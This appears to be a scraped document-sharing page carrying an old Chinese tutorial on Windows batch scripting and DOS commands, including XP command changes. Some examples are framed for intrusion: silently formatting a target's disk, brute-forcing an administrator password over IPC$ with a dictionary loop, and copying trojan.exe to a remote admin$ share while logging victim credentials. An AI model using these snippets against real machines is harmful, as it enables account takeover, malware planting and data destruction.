ImageVerifierCode 换一换
格式:DOC , 页数:9 ,大小:53.50KB ,
资源ID:8401165      下载积分:10 金币
快捷注册下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

开通VIP
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.zixin.com.cn/docdown/8401165.html】到电脑端继续下载(重复下载【60天内】不扣币)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

开通VIP折扣优惠下载文档

            查看会员权益                  [ 下载后找不到文档?]

填表反馈(24小时):  下载求助     关注领币    退款申请

开具发票请登录PC端进行申请

   平台协调中心        【在线客服】        免费申请共赢上传

权利声明

1、咨信平台为文档C2C交易模式,即用户上传的文档直接被用户下载,收益归上传人(含作者)所有;本站仅是提供信息存储空间和展示预览,仅对用户上传内容的表现方式做保护处理,对上载内容不做任何修改或编辑。所展示的作品文档包括内容和图片全部来源于网络用户和作者上传投稿,我们不确定上传用户享有完全著作权,根据《信息网络传播权保护条例》,如果侵犯了您的版权、权益或隐私,请联系我们,核实后会尽快下架及时删除,并可随时和客服了解处理情况,尊重保护知识产权我们共同努力。
2、文档的总页数、文档格式和文档大小以系统显示为准(内容中显示的页数不一定正确),网站客服只以系统显示的页数、文件格式、文档大小作为仲裁依据,个别因单元格分列造成显示页码不一将协商解决,平台无法对文档的真实性、完整性、权威性、准确性、专业性及其观点立场做任何保证或承诺,下载前须认真查看,确认无误后再购买,务必慎重购买;若有违法违纪将进行移交司法处理,若涉侵权平台将进行基本处罚并下架。
3、本站所有内容均由用户上传,付费前请自行鉴别,如您付费,意味着您已接受本站规则且自行承担风险,本站不进行额外附加服务,虚拟产品一经售出概不退款(未进行购买下载可退充值款),文档一经付费(服务费)、不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
4、如你看到网页展示的文档有www.zixin.com.cn水印,是因预览和防盗链等技术需要对页面进行转换压缩成图而已,我们并不对上传的文档进行任何编辑或修改,文档下载后都不会有水印标识(原文档上传前个别存留的除外),下载后原文更清晰;试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓;PPT和DOC文档可被视为“模板”,允许上传人保留章节、目录结构的情况下删减部份的内容;PDF文档不管是原文档转换或图片扫描而得,本站不作要求视为允许,下载前可先查看【教您几个在下载文档中可以更好的避免被坑】。
5、本文档所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用;网站提供的党政主题相关内容(国旗、国徽、党徽--等)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
6、文档遇到问题,请及时联系平台进行协调解决,联系【微信客服】、【QQ客服】,若有其他问题请点击或扫码反馈【服务填表】;文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“【版权申诉】”,意见反馈和侵权处理邮箱:1219186828@qq.com;也可以拔打客服电话:0574-28810668;投诉电话:18658249818。

注意事项

本文(批理教程及DOS命令.doc)为本站上传会员【仙人****88】主动上传,咨信网仅是提供信息存储空间和展示预览,仅对用户上传内容的表现方式做保护处理,对上载内容不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知咨信网(发送邮件至1219186828@qq.com、拔打电话4009-655-100或【 微信客服】、【 QQ客服】),核实后会尽快下架及时删除,并可随时和客服了解处理情况,尊重保护知识产权我们共同努力。
温馨提示:如果因为网速或其他原因下载失败请重新下载,重复下载【60天内】不扣币。 服务填表

批理教程及DOS命令.doc

1、批处理教程和DOS命令(下) 2006-12-19 09:13 P.M. DOS批处理 一.简单批处理内部命令简介 {cchere※com 我心飞翔} 1.Echo 命令  打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。  语法  echo [{on|off}] [message]  Sample:@echo off / echo hello world  在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。  2.@ 命令 

2、 表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。  Sample:@echo off  @echo Now initializing the program,please wait a minite...  @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)  3.Goto 命令  指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。  语法:goto label (label是参数,指定所要

3、转向的批处理程序中的行。)  Sample:  if {%1}=={} goto noparms  if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)  @Rem check parameters if null show usage  :noparms  echo Usage: monitor.bat ServerIP PortNumber  goto end  标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些

4、说明这样你别人看起来才会理解你的意图啊。  4.Rem 命令  注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。  Rem Message  Sample:@Rem Here is the description.  5.Pause 命令  运行 Pause 命令时,将显示下面的消息:  Press any key to continue . . .  Sample:  @echo off  :begin  copy a:*.* d: ack  echo Please put a new d

5、isk into driver A  pause  goto begin  在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d: ack中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。  6.Call 命令  从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。  语法  call [[Drive:][Path] FileName [BatchParameters]] [:label [ar

6、guments]]  参数  [Drive:}[Path] FileName  指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。  7.start 命令  调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。  入侵常用参数:  MIN 开始时窗口最小化  SEPARATE 在分开的空间内开始 16 位 Windows 程序  HIGH 在 HIGH 优先级类别开始应用程序  REALTIME 在 REALTIME 优先级类别开始应用程序  WAIT 启动应用程序并等候它结束  paramete

7、rs 这些为传送到命令/程序的参数  执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。  8.choice 命令  choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……  如: choice /c:dme defrag,mem,end  将显示  defrag,mem,end[D,M,E]?  Sample:  Sample.bat的内容如下:  @echo off  choice 

8、/c:dme defrag,mem,end  if errorlevel 3 goto defrag (应先判断数值最高的错误码)  if errorlevel 2 goto mem  if errotlevel 1 goto end  :defrag  c:dosdefrag  goto end  :mem  mem  goto end  :end  echo good bye  此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序

9、段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。  9.If 命令  if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:  1、if "参数" == "字符串"  待执行的命令  参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)  如if "%1"=="a" format a:  if {%1}=={} goto noparms  if {%2}=={} goto noparms  2、if exist 文件名  待执行的

10、命令  如果有指定的文件,则条件成立,运行命令,否则运行下一句。  如if exist config.sys edit config.sys  3、if errorlevel / if not errorlevel 数字  待执行的命令  如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。  如if errorlevel 2 goto x2    DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。  10.for 命令  for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。 

11、在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable  for {%variable|%%variable} in (set) do command [ CommandLineOptions]  %variable 指定一个单一字母可替换的参数。  (set) 指定一个或一组文件。可以使用通配符。  command 指定对每个文件执行的命令。  command-parameters 为特定命令指定参数或命令行开关。  在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable  而不要用 %variable。变量名称是区分大小写的,所以 %i

12、 不同于 %I  如果命令扩展名被启用,下列额外的 FOR 命令格式会受到  支持:  FOR /D %variable IN (set) DO command [command-parameters]  如果集中包含通配符,则指定与目录名匹配,而不与文件  名匹配。  FOR /R [[drive:]path] %variable IN (set) DO command [command-  检查以 [drive:]path 为根的目录树,指向每个目录中的  FOR 语句。如果在 /R 后没有指定目录,则使用当前  目录。如果集仅为一个单点(.)字符,则

13、枚举该目录树。  FOR /L %variable IN (start,step,end) DO command [command-para  该集表示以增量形式从开始到结束的一个数字序列。  因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生  序列 (5 4 3 2 1)。  FOR /F ["options"] %variable IN (file-set) DO command  FOR /F ["options"] %variable IN ("string") DO command  FOR /F ["options"] %va

14、riable IN (command) DO command  或者,如果有 usebackq 选项:  FOR /F ["options"] %variable IN (file-set) DO command  FOR /F ["options"] %variable IN ("string") DO command  FOR /F ["options"] %variable IN (command) DO command  filenameset 为一个或多个文件名。继续到 filenameset 中的  下一个文件之前,每份文件都已被打开、读取并经过处理。 

15、处理包括读取文件,将其分成一行行的文字,然后将每行  解析成零或更多的符号。然后用已找到的符号字符串变量值  调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开  的第一个空白符号。跳过空白行。您可通过指定可选 "options"  参数替代默认解析操作。这个带引号的字符串包括一个或多个  指定不同解析选项的关键字。这些关键字为:  eol=c - 指一个行注释字符的结尾(就一个)  skip=n - 指在文件开始时忽略的行数。  delims=xxx - 指分隔符集。这个替换了空格和跳格键的  默认分隔符集。  tokens=x,y,m-n - 指每行的

16、哪一个符号被传递到每个迭代  的 for 本身。这会导致额外变量名称的  格式为一个范围。通过 nth 符号指定 m  符号字符串中的最后一个字符星号,  那么额外的变量将在最后一个符号解析之  分配并接受行的保留文本。  usebackq - 指定新语法已在下类情况中使用:  在作为命令执行一个后引号的字符串并且  引号字符为文字字符串命令并允许在 fi  中使用双引号扩起文件名称。  sample1:  FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command  会分析 myfile

17、txt 中的每一行,忽略以分号打头的那些行,将  每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或  空格定界符号。请注意,这个 for 程序体的语句引用 %i 来  取得第二个符号,引用 %j 来取得第三个符号,引用 %k  来取得第三个符号后的所有剩余符号。对于带有空格的文件  名,您需要用双引号将文件名括起来。为了用这种方式来使  用双引号,您还需要使用 usebackq 选项,否则,双引号会  被理解成是用作定义某个要分析的字符串的。  %i 专门在 for 语句中得到说明,%j 和 %k 是通过  tokens= 选项专门得到说明的。您可以通过 

18、tokens= 一行  指定最多 26 个符号,只要不试图说明一个高于字母 z 或  Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;  同时不能有 52 个以上都在使用中。  您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,  用单引号将括号之间的 filenameset 括起来。这样,该字符  串会被当作一个文件中的一个单一输入行。  最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将  括号之间的 filenameset 变成一个反括字符串。该字符串会  被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进  内存,

19、并被当作文件分析。因此,以下例子:  FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i  会枚举当前环境中的环境变量名称。  另外,FOR 变量参照的替换已被增强。您现在可以使用下列  选项语法:  ~I - 删除任何引号("),扩充 %I  %~fI - 将 %I 扩充到一个完全合格的路径名  %~dI - 仅将 %I 扩充到一个驱动器号  %~pI - 仅将 %I 扩充到一个路径  %~nI - 仅将 %I 扩充到一个文件名  %~xI - 仅将 %I 扩充到一个文件扩展名  %~sI - 扩充的

20、路径只含有短名  %~aI - 将 %I 扩充到文件的文件属性  %~tI - 将 %I 扩充到文件的日期/时间  %~zI - 将 %I 扩充到文件的大小  %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充  到找到的第一个完全合格的名称。如果环境变量  未被定义,或者没有找到文件,此组合键会扩充  空字符串  可以组合修饰符来得到多重结果:  %~dpI - 仅将 %I 扩充到一个驱动器号和路径  %~nxI - 仅将 %I 扩充到一个文件名和扩展名  %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名  %~dp$PATH:i 

21、 查找列在路径环境变量的目录,并将 %I 扩充  到找到的第一个驱动器号和路径。  %~ftzaI - 将 %I 扩充到类似输出线路的 DIR  在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法  用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名  比较易读,而且避免与不分大小写的组合键混淆。  以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。  sample2:  利用For命令来实现对一台目标Win2k主机的暴力密码破解。  我们用net use \ipipc$ "password" /u:

22、"administrator"来尝试这和目标主机进行连接,当成功时记下密码。  最主要的命令是一条:for /f i% in (dict.txt) do net use \ipipc$ "i%" /u:"administrator"  用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--  for /f i%% in (dict.txt) do net use \ipipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:ok.txt ,这样就ko了。  No.

23、2  二.如何在批处理文件中使用参数  批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。  sample1:fomat.bat  @echo off  if "%1"=="a" format a:  :format  @format a:/q/u/auotset  @echo please insert another disk to driver A.  @pause  @goto fomat  这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点

24、画蛇添足了~^_^  sample2:  当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。  @echo off  @net use \1%ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。  @if errorlevel 1 echo connection failed  怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3  三.如何使用组合命令(Compound Co

25、mmand)  1.&  Usage:第一条命令 & 第二条命令 [& 第三条命令...]  用这种方法可以同时执行多条命令,而不管命令是否执行成功  Sample:  C:>dir z: & dir c:Ex4rch  The system cannot find the path specified.  Volume in drive C has no label.  Volume Serial Number is 0078-59FB  Directory of c:Ex4rch  2002-05-14 23:51  .  2002-

26、05-14 23:51  ..  2002-05-14 23:51 14 sometips.gif  2.&&  Usage:第一条命令 && 第二条命令 [&& 第三条命令...]  用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;  Sample:  C:>dir z: && dir c:Ex4rch  The system cannot find the path specified.  C:>dir c:Ex4rch && dir z:  Volume in drive C has 

27、no label.  Volume Serial Number is 0078-59FB  Directory of c:Ex4rch  2002-05-14 23:55  .  2002-05-14 23:55  ..  2002-05-14 23:55 14 sometips.gif  1 File(s) 14 bytes  2 Dir(s) 768,671,744 bytes free  The system cannot find the path specified.  在做备份的时候可能会用到这种命令会比较简单,如:  dir file&#58/

28、/192.168.0.1/database/backup.mdb && copy file&#58//192.168.0.1/database/backup.mdb E: ackup  如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)  3.||  Usage:第一条命令 || 第二条命令 [|| 第三条命令...]  用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;  Sample:  C:Ex4rch

29、>dir sometips.gif || del sometips.gif  Volume in drive C has no label.  Volume Serial Number is 0078-59FB  Directory of C:Ex4rch  2002-05-14 23:55 14 sometips.gif  1 File(s) 14 bytes  0 Dir(s) 768,696,320 bytes free  组合命令使用的例子:  sample:  @copy trojan.exe \%1admin$system32 && if not er

30、rorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt XP中的增强DOS命令 “廉颇老矣,尚能饭否”,这是很多人对Windows操作系统下的DOS 的一种偏见,其实DOS在系统维护工作中有着重要的作用。自从微软公司推出Windows XP操作系统后, 人们热情的投入到Win XP的怀抱中去关注它、了解它、使用它,却很少有人注意到Win XP附带的DOS操作环境,实际上Win XP已经增加了部分DOS命令的功能,所谓“老树开新花”,下面让我们一道来感受Win XP下DOS的功能变化。  ◆命令:DIR,列文件、目录  增加参数:/-

31、C  参数说明:DIR列文件、目录时显示的文件大小,其数值以千为单位进行分隔,使用此参数即“DIR/-C”将取消显示中的分隔符,以满足部分人的视觉习惯。  增加参数:/Q  参数说明:Windows是多用户操作系统,使用此参数即“DIR /Q”列文件、目录时,将显示出文件、目录的用户属性。  增加参数:/T:C、/T:A、/T:W  参数说明:使用此参数即“DIR/T:C”、“DIR/T:A”、“DIR/T:W”分别显示文件、目录的创建时间、上次访问时间和上次修改时间。  增加参数:/X  参数说明:使用此参数即“DIR/X”列文件、目录时,会对长文件名同时显示“8.

32、3”格式的文件名。  ◆命令:CD,改变目录  增加参数:/D  参数说明:此参数的作用是快速改变当前目录,比如当前目录是C:\Windows,使用命令“CD/D E:\Tools”可快速切换到E:\Tools目录下。注:只有在Win XP的“运行”文本框中输入“CMD”得到的DOS窗口中才能使用此参数。  ◆命令:MD,建立目录  功能说明:此命令并未增加参数,但是增强了功能,它可一次建立多级子目录, 例如使用命令“MD AA\BB\CC\DD”将一次性创建AA、BB、CC、DD四级子目录。而在老版本的DOS中,若不存在AA子目录,便无法直接建立AA下的BB等深层子

33、目录。  ◆命令:RD,删除目录  增加参数:/S  参数说明:使用此参数即“RD/S”用于删除目录树,即删除目录及目录下的所有子目录和文件,相当于以前版本中的DELTREE命令。  增加参数:/Q  参数说明:使用上面的/S参数删除目录树时,系统会要求用户确认是否真的要删除。若同时使用/Q参数即“RD/S /Q”,在进行删除操作时将取消确认,相当于DELTREE命令的/Y参数。  ◆命令:DEL,删除文件或目录  增加参数:/F  参数说明:使用此参数即“DEL/F”可删除只读文件。  增加参数:/S、/Q  参数说明:使用此参数即“DEL/S”作

34、用与“RD/S”完全相同,即删除目录及目录下的所有子目录和文件。同时使用参数/Q,可取消删除操作时的系统确认。  增加参数:/A  参数说明:删除指定属性或指定属性以外的文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件。  ◆命令:ATTRIB,更改文件或目录的属性  增加参数:/D  参数说明:在Win XP中我们不能把文件或文件夹设置

35、为系统属性,只能设为只读、隐藏或存档属性。而带参数/D使用ATTRIB命令可以对文件的所有属性进行设定,设定时必须与参数/S同时使用。例如“ATTRIB /S /D +S D:\Study”,作用是将D:\Study文件夹设置为系统文件夹。  ◆命令:Format,格式化磁盘  增加参数:/FS:filessystem  参数说明:按指定文件系统类型(FAT、FAT32、NTFS)格式化磁盘,例如“Format /FS:NTFS”。  ◆命令:DATE、TIME,显示系统日期和时间  增加参数:/T  参数说明:使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间。

移动网页_全站_页脚广告1

关于我们      便捷服务       自信AI       AI导航        抽奖活动

©2010-2026 宁波自信网络信息技术有限公司  版权所有

客服电话:0574-28810668  投诉电话:18658249818

gongan.png浙公网安备33021202000488号   

icp.png浙ICP备2021020529号-1  |  浙B2-20240490  

关注我们 :微信公众号    抖音    微博    LOFTER 

客服